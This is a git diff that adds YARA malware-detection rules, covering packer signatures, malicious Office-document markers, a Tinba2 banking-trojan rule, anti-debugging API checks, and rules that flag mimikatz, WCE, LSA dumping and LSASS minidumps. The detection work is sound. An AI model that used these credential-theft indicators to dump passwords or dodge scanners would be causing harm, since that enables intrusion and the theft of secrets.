+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEditionV11Xap0x
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Excalibur103forgot
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule RLPack118DllaPlib043ap0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MicrosoftVisualC50MFCAnorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pohernah101byKas
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov25xv26x
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinv11Cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Escargot01byueMeat
+	{
+	strings:
+			$a0 = { EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EncryptPE2200461622006630WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv060
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01BorlandDelphi30Anorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ActiveMARKTMR5311140Trymedia
+	{
+	strings:
+			$a0 = { 79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PEBundlev244
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv120v1201
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+    
+rule ASPackv104bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D }
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+rule MESSv120
+	{
+	strings:
+			$a0 = { FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+/*    
+	rule StelthPE101BGCorp
+	{
+	strings:
+			$a0 = { BA ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+
+	rule RCryptorv13v14Vaska
+	{
+	strings:
+			$a0 = { 55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 }
+	$a1 = { 55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallV27XJitit
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressor120BetaPEPacker
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Packanoid10ackanoid
+	{
+	strings:
+			$a0 = { BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule EncryptPE1200331812003518WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv09781
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv09782
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01Gleam100Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPackAltStubDwing
+	{
+	strings:
+			$a0 = { 60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxModificationofHi924
+	{
+	strings:
+			$a0 = { 50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor226DLLminimumprotection
+	{
+	strings:
+			$a0 = { 50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtector102AshkibizDanehlar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule ACProtectv135riscosoftwareIncAnticrackSoftware
+	{
+	strings:
+			$a0 = { 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63 }
+
+	condition:
+			$a0
+	}
+	
+	
\ No newline at end of file
diff --git a/yara-mikesxrs/malwaretracker/apt_actor_tran_duy_linh.yar b/yara-mikesxrs/malwaretracker/apt_actor_tran_duy_linh.yar
new file mode 100644
index 0000000..1f496bd
--- /dev/null
+++ b/yara-mikesxrs/malwaretracker/apt_actor_tran_duy_linh.yar
@@ -0,0 +1,11 @@
+ rule apt_actor_tran_duy_linh
+{
+       meta:
+         info = "author"
+		 reference = "http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-part-2-old-new.html"
+       strings:
+      $auth = { 4E 6F 72 6D 61 6C 2E 64 6F 74 6D 00 1E 00 00 00 10 00 00 00 54 72 61 6E 20 44 75 79 20 4C 69 6E 68 }
+
+       condition:
+               $auth
+}
diff --git a/yara-mikesxrs/malwaretracker/doc_zws_flash.yar b/yara-mikesxrs/malwaretracker/doc_zws_flash.yar
new file mode 100644
index 0000000..ae0d2d3
--- /dev/null
+++ b/yara-mikesxrs/malwaretracker/doc_zws_flash.yar
@@ -0,0 +1,14 @@
+rule doc_zws_flash {
+    meta:
+    ref ="2192f9b0209b7e7aa6d32a075e53126d"
+    author = "MalwareTracker.com"
+    date = "2013-01-11"
+    blog = "http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html"
+
+    strings:
+        $header = {66 55 66 55 ?? ?? ?? 00 5A 57 53}
+        $control = "CONTROL ShockwaveFlash.ShockwaveFlash"
+       
+    condition:
+        all of them 
+}
diff --git a/yara-mikesxrs/malwaretracker/mime_mso.yar b/yara-mikesxrs/malwaretracker/mime_mso.yar
new file mode 100644
index 0000000..56acf66
--- /dev/null
+++ b/yara-mikesxrs/malwaretracker/mime_mso.yar
@@ -0,0 +1,125 @@
+rule openxml_remote_content
+{
+ meta:
+  ref = "https://www.defcon.org/html/defcon-22/dc-22-speakers.html#Crenshaw"
+  author = "MalwareTracker.com @mwtracker"
+  date = "Aug 10 2014"
+  hash = "63ea878a48a7b0459f2e69c46f88f9ef"
+
+  strings:
+  $a = "schemas.openxmlformats.org" ascii nocase
+  $b = "TargetMode=\"External\"" ascii nocase
+
+  condition:
+  all of them
+}
+
+rule theme_MH370 {
+    meta:
+	author = "MalwareTracker.com @mwtracker"
+	reference = "http://blog.malwaretracker.com/2014/04/cve-2012-0158-in-mime-html-mso-format.html"
+        version = "1.0"
+        date = "2014-04-09"
+    strings:
+        $callsign1 = "MH370" ascii wide nocase fullword
+        $callsign2 = "MAS370" ascii wide nocase fullword
+        $desc1 = "Flight 370" ascii wide nocase fullword
+    condition:
+        any of them
+}
+
+rule doc_zws_flash {
+    meta:
+    ref ="2192f9b0209b7e7aa6d32a075e53126d"
+    author = "MalwareTracker.com @mwtracker"
+    date = "2013-01-11"
+
+    strings:
+        $header = {66 55 66 55 ?? ?? ?? 00 5A 57 53}
+        $control = "CONTROL ShockwaveFlash.ShockwaveFlash"
+
+    condition:
+        all of them
+}
+
+rule apt_actor_tran_duy_linh
+{
+       meta:
+		author = "MalwareTracker.com @mwtracker"
+         	info = "OLE author"
+       strings:
+      		$auth = { 4E 6F 72 6D 61 6C 2E 64 6F 74 6D 00 1E 00 00 00 10 00 00 00 54 72 61 6E 20 44 75 79 20 4C 69 6E 68 }
+
+       condition:
+               	$auth
+}
+
+rule mime_mso
+{
+meta:
+    comment = "mime mso detection"
+    ref = "http://blog.malwaretracker.com/2015/03/return-of-mime-mso-now-with-macros.html"
+    author = "@mwtracker"
+strings:
+	$a="application/x-mso"
+	$b="MIME-Version"
+	$c="ocxstg001.mso"
+	$d="?mso-application"
+condition:
+	$a and $b or $c or $d
+}
+
+
+rule mime_mso_embedded_SuppData
+{
+meta:
+    comment = "mime mso office obfuscation"
+    ref = "http://blog.malwaretracker.com/2015/03/return-of-mime-mso-now-with-macros.html"
+    hash = "77739ab6c20e9dfbeffa3e2e6960e156"
+    author = "@mwtracker"
+    date = "Mar 5 2015"
+
+strings:
+    $a = "docSuppData"
+    $b = "binData"
+    $c = "schemas.microsoft.com"
+
+condition:
+    all of them
+}
+
+
+rule mime_mso_embedded_ole
+{
+meta:
+    comment = "mime mso office obfuscation"
+    ref = "http://blog.malwaretracker.com/2015/03/return-of-mime-mso-now-with-macros.html"
+    hash = "77739ab6c20e9dfbeffa3e2e6960e156"
+    author = "@mwtracker"
+    date = "Mar 5 2015"
+
+strings:
+    $a = "docOleData"
+    $b = "binData"
+    $c = "schemas.microsoft.com"
+
+condition:
+    all of them
+}
+
+rule mime_mso_vba_macros
+{
+meta:
+    comment = "mime mso office obfuscation"
+    ref = "http://blog.malwaretracker.com/2015/03/return-of-mime-mso-now-with-macros.html"
+    hash = "77739ab6c20e9dfbeffa3e2e6960e156"
+    author = "malwaretracker.com @mwtracker"
+    date = "Mar 5 2015"
+
+strings:
+    $a = "macrosPresent=\"yes\""
+    $b = "schemas.microsoft.com"
+
+condition:
+    all of them
+}
diff --git a/yara-mikesxrs/mimikatz/kiwi_passwords.yar b/yara-mikesxrs/mimikatz/kiwi_passwords.yar
new file mode 100644
index 0000000..55b5047
--- /dev/null
+++ b/yara-mikesxrs/mimikatz/kiwi_passwords.yar
@@ -0,0 +1,104 @@
+/*	Benjamin DELPY `gentilkiwi`
+	http://blog.gentilkiwi.com
+	benjamin@gentilkiwi.com
+	Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+rule mimikatz
+{
+	meta:
+		description		= "mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$exe_x86_1		= { 89 71 04 89 [0-3] 30 8d 04 bd }
+		$exe_x86_2		= { 89 79 04 89 [0-3] 38 8d 04 b5 }
+		
+		$exe_x64_1		= { 4c 03 d8 49 [0-3] 8b 03 48 89 }
+		$exe_x64_2		= { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
+
+		$dll_1			= { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
+		$dll_2			= { c7 0? 10 02 00 00 ?? 89 4? }
+		
+		$sys_x86		= { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+		$sys_x64		= { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+
+	condition:
+		(all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*))
+}
+
+
+rule mimikatz_lsass_mdmp
+{
+	meta:
+		description		= "LSASS minidump file for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$lsass			= "System32\\lsass.exe"	wide nocase
+
+	condition:
+		(uint32(0) == 0x504d444d) and $lsass
+}
+
+
+rule mimikatz_kirbi_ticket
+{
+	meta:
+		description		= "KiRBi ticket for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$asn1			= { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
+
+	condition:
+		$asn1 at 0
+}
+
+
+rule wce
+{
+	meta:
+		description		= "wce"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Hernan Ochoa (hernano)"
+
+	strings:
+		$hex_legacy		= { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
+		$hex_x86		= { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
+		$hex_x64		= { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
+
+	condition:
+		any of them
+}
+
+
+rule lsadump
+{
+	meta:
+		description		= "LSA dump programe (bootkey/syskey) - pwdump and others"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$str_sam_inc	= "\\Domains\\Account" ascii nocase
+		$str_sam_exc	= "\\Domains\\Account\\Users\\Names\\" ascii nocase
+		$hex_api_call	= {(41 b8 | 68) 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+		$str_msv_lsa	= { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
+		$hex_bkey		= { 4b 53 53 4d [20-70] 05 00 01 00}
+
+	condition:
+		($str_sam_inc and not $str_sam_exc) or $hex_api_call or $str_msv_lsa or $hex_bkey
+}
+
+rule power_pe_injection
+{
+	meta:
+		description		= "PowerShell with PE Reflective Injection"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$str_loadlib	= "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
+		
+	condition:
+		$str_loadlib
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/n3sfox/Tinba2.yar b/yara-mikesxrs/n3sfox/Tinba2.yar
new file mode 100644
index 0000000..e89a38e
--- /dev/null
+++ b/yara-mikesxrs/n3sfox/Tinba2.yar
@@ -0,0 +1,31 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
+
+*/
+
+rule Tinba2 {
+        meta:
+                author = "n3sfox <n3sfox@gmail.com>"
+                date = "2015/11/07"
+                description = "Tinba 2 (DGA) banking trojan"
+                reference = "https://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world"
+                filetype = "memory"
+                hash1 = "c7f662594f07776ab047b322150f6ed0"
+                hash2 = "dc71ef1e55f1ddb36b3c41b1b95ae586"
+                hash3 = "b788155cb82a7600f2ed1965cffc1e88"
+
+        strings:
+                $str1 = "MapViewOfFile"
+                $str2 = "OpenFileMapping"
+                $str3 = "NtCreateUserProcess"
+                $str4 = "NtQueryDirectoryFile"
+                $str5 = "RtlCreateUserThread"
+                $str6 = "DeleteUrlCacheEntry"
+                $str7 = "PR_Read"
+                $str8 = "PR_Write"
+                $pubkey = "BEGIN PUBLIC KEY"
+                $code1 = {50 87 44 24 04 6A ?? E8}
+
+        condition:
+                all of ($str*) and $pubkey and $code1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/naxonez/DebuggerCheck.yar b/yara-mikesxrs/naxonez/DebuggerCheck.yar
new file mode 100644
index 0000000..857f9f2
--- /dev/null
+++ b/yara-mikesxrs/naxonez/DebuggerCheck.yar
@@ -0,0 +1,262 @@
+rule DebuggerCheck__API : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="IsDebuggerPresent"
+	condition:
+		any of them
+}
+
+rule DebuggerCheck__PEB : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="IsDebugged"
+	condition:
+		any of them
+}
+
+rule DebuggerCheck__GlobalFlags : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="NtGlobalFlags"
+	condition:
+		any of them
+}
+
+rule DebuggerCheck__QueryInfo : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="QueryInformationProcess"
+	condition:
+		any of them
+}
+
+rule DebuggerCheck__RemoteAPI : AntiDebug DebuggerCheck {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="CheckRemoteDebuggerPresent"
+	condition:
+		any of them
+}
+
+///////////////////////////////////////////////////////////////////////////////
+rule DebuggerHiding__Thread : AntiDebug DebuggerHiding {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="SetInformationThread"
+	condition:
+		any of them
+}
+
+rule DebuggerHiding__Active : AntiDebug DebuggerHiding {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="DebugActiveProcess"
+	condition:
+		any of them
+}
+
+rule DebuggerTiming__PerformanceCounter : AntiDebug DebuggerTiming {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="QueryPerformanceCounter"
+	condition:
+		any of them
+}
+
+rule DebuggerTiming__Ticks : AntiDebug DebuggerTiming {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="GetTickCount"
+	condition:
+		any of them
+}
+
+rule DebuggerOutput__String : AntiDebug DebuggerOutput {
+	meta:
+		author = "naxonez"
+		reference = "https://github.com/naxonez/yaraRules"
+		weight = 1
+	strings:
+		$ ="OutputDebugString"
+	condition:
+		any of them
+}
+
+///////////////////////////////////////////////////////////////////////////////
+rule DebuggerException__UnhandledFilter : AntiDebug DebuggerException {
+	meta:
+		author = "naxonez"
